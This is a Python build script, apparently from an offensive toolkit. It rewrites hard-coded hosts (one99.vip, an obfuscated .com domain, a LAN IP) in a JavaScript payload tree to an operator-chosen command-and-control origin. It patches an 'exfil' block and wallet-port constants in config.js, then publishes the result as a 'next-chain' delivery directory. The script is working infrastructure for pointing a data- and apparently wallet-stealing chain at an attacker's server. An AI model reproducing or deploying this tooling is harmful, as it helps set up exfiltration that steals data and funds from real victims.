coruna-lab/channel-builder-ds/tools/build.py

#!/usr/bin/env python3
"""Rewrite one99 host literals to --c2 and publish source/ → public/next-chain.

Delivery is always the weifile page origin + /next-chain (runtime). Do not pass --delivery
unless you are overriding NEWS2_CONFIG.deliveryPath for a CDN experiment.

  php artisan ds:build --c2 http://192.168.31.130:8000
  php artisan ds:build --c2 https://c2.example.com
"""

from __future__ import annotations

import argparse
import re
import shutil
import sys
from dataclasses import dataclass
from pathlib import Path
from urllib.parse import urlparse

TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
PROJECT_ROOT = BUILDER_ROOT.parent
DEFAULT_SOURCE = BUILDER_ROOT / "source"
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"

EXFIL_RE = re.compile(r"exfil:\s*\{[^{}]*\}", re.S)
TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"}
SKIP_PUBLISH = {"log.html"}


@dataclass(frozen=True)
class Endpoint:
    host: str
    port: int
    origin: str
    tls: bool
    path: str

    @property
    def url(self) -> str:
        return self.origin + self.path


def parse_endpoint(raw: str, *, label: str) -> Endpoint:
    parsed = urlparse((raw or "").strip())
    if parsed.scheme not in ("http", "https") or not parsed.hostname:
        raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port][/path])")
    host = parsed.hostname
    tls = parsed.scheme == "https"
    port = parsed.port or (443 if tls else 80)
    origin = f"{parsed.scheme}://{host}"
    if not ((tls and port == 443) or (not tls and port == 80)):
        origin += f":{port}"
    path = (parsed.path or "").rstrip("/")
    if path and not path.startswith("/"):
        path = "/" + path
    return Endpoint(host=host, port=port, origin=origin, tls=tls, path=path)


def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]:
    hp = f'{{ host: "{c2.host}", port: {c2.port} }}'
    ports = f'{{ host: "{c2.host}", http_port: {c2.port}, https_port: {c2.port}, tls: {"true" if c2.tls else "false"} }}'
    return [
        ("https://mh0usocqzi6f46i.com:443", c2.origin),
        ("http://mh0usocqzi6f46i.com:443", c2.origin),
        ("https://mh0usocqzi6f46i.com", c2.origin),
        ("http://mh0usocqzi6f46i.com", c2.origin),
        ("http://one99.vip:80", c2.origin),
        ("https://one99.vip:80", c2.origin),
        ("http://one99.vip", c2.origin),
        ("https://one99.vip", c2.origin),
        ("http://192.168.31.130:8080", c2.origin),
        ("https://192.168.31.130:8080", c2.origin),
        ('{ host: "mh0usocqzi6f46i.com", port: 443 }', hp),
        ('{ host: "one99.vip", port: 80 }', hp),
        ('{ host: "192.168.31.130", port: 8080 }', hp),
        (
            '{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }',
            ports,
        ),
        (
            '{ host: "192.168.31.130", http_port: 8080, https_port: 8080, tls: false }',
            ports,
        ),
        ('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{c2.port}"'),
        ('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
        ('const HQ_WALLET_PORT = "8080"', f'const HQ_WALLET_PORT = "{c2.port}"'),
        ('const HQ_WALLET_PORT = \\"8080\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
        ("mh0usocqzi6f46i.com", c2.host),
        ("one99.vip", c2.host),
        ("192.168.31.130", c2.host),
    ]


def rewrite_text(text: str, c2: Endpoint) -> str:
    for old, new in rewrite_pairs(c2):
        if old != new:
            text = text.replace(old, new)
    return text


def patch_config(text: str, c2: Endpoint) -> str:
    flag = "true" if c2.tls else "false"

    def exfil(_match: re.Match[str]) -> str:
        return (
            "exfil: {\n"
            f'    host: "{c2.host}",\n'
            f'    domain: "{c2.host}",\n'
            f"    http_port: {c2.port},\n"
            f"    https_port: {c2.port},\n"
            f"    tls: {flag},\n"
            f"    prefer_https: {flag},\n"
            "  }"
        )

    patched, n = EXFIL_RE.subn(exfil, text, count=1)
    if n != 1:
        raise SystemExit("source/config.js: missing exfil { ... } block")
    return patched


def rewrite_tree(root: Path, c2: Endpoint) -> int:
    hits = 0
    for path in root.rglob("*"):
        if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES:
            continue
        raw = path.read_text(encoding="utf-8")
        if path.name == "config.js":
            new = patch_config(raw, c2)
        else:
            new = rewrite_text(raw, c2)
        if new != raw:
            path.write_text(new, encoding="utf-8")
            hits += 1
    return hits


def publish(staging: Path, dest: Path) -> None:
    dest = dest.resolve()
    dest.parent.mkdir(parents=True, exist_ok=True)
    tmp = dest.with_name(dest.name + ".building")
    old = dest.with_name(dest.name + ".old")
    if tmp.exists():
        shutil.rmtree(tmp)

    def ignore(directory: str, names: list[str]) -> set[str]:
        skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH}
        return skip

    shutil.copytree(staging, tmp, ignore=ignore)
    if dest.exists():
        if old.exists():
            shutil.rmtree(old)
        dest.rename(old)
        try:
            tmp.rename(dest)
        except OSError:
            dest.rename(tmp.with_name(dest.name + ".restore"))
            raise
        shutil.rmtree(old)
    else:
        tmp.rename(dest)


def build(
    source: Path,
    dest: Path,
    c2: str,
    delivery: str | None = None,
    dry_run: bool = False,
) -> dict:
    if not source.is_dir():
        raise SystemExit(f"source not found: {source}")
    config = source / "config.js"
    if not config.is_file():
        raise SystemExit(f"missing {config}")

    c2_ep = parse_endpoint(c2, label="--c2")
    delivery_ep = parse_endpoint(delivery, label="--delivery") if delivery else None

    if dry_run:
        preview = patch_config(config.read_text(encoding="utf-8"), c2_ep)
        if delivery_ep is not None:
            preview = re.sub(
                r'deliveryPath:\s*"[^"]*"',
                f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
                preview,
                count=1,
            )
        return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "config": preview}

    staging = BUILDER_ROOT / "out" / "staging"
    if staging.exists():
        shutil.rmtree(staging)
    shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
    rewrite_tree(staging, c2_ep)
    if delivery_ep is not None:
        cfg = (staging / "config.js").read_text(encoding="utf-8")
        cfg = re.sub(
            r'deliveryPath:\s*"[^"]*"',
            f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
            cfg,
            count=1,
        )
        (staging / "config.js").write_text(cfg, encoding="utf-8")
    publish(staging, dest)
    shutil.rmtree(staging, ignore_errors=True)
    return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "dest": str(dest.resolve())}


def main(argv: list[str] | None = None) -> int:
    ap = argparse.ArgumentParser(description="Rewrite one99 hosts to --c2 and copy source/ to public/next-chain")
    ap.add_argument("--c2", default="", help="C2 / API origin, e.g. http://192.168.31.130:8000")
    ap.add_argument("--origin", default="", help="alias of --c2")
    ap.add_argument("--delivery", default="", help="optional CDN origin; delivery path still /next-chain at runtime")
    ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
    ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args(argv)

    c2 = (args.c2 or args.origin or "").strip()
    if not c2:
        raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000")

    result = build(
        args.source,
        args.dest,
        c2,
        delivery=(args.delivery or "").strip() or None,
        dry_run=args.dry_run,
    )
    print("dry-run" if args.dry_run else "published")
    print(f"  c2 {result['c2']}")
    print(f"  delivery {result['delivery'] or '(weifile origin + /next-chain)'}")
    if result.get("dest"):
        print(f"  dest {result['dest']}")
    return 0


if __name__ == "__main__":
    sys.exit(main())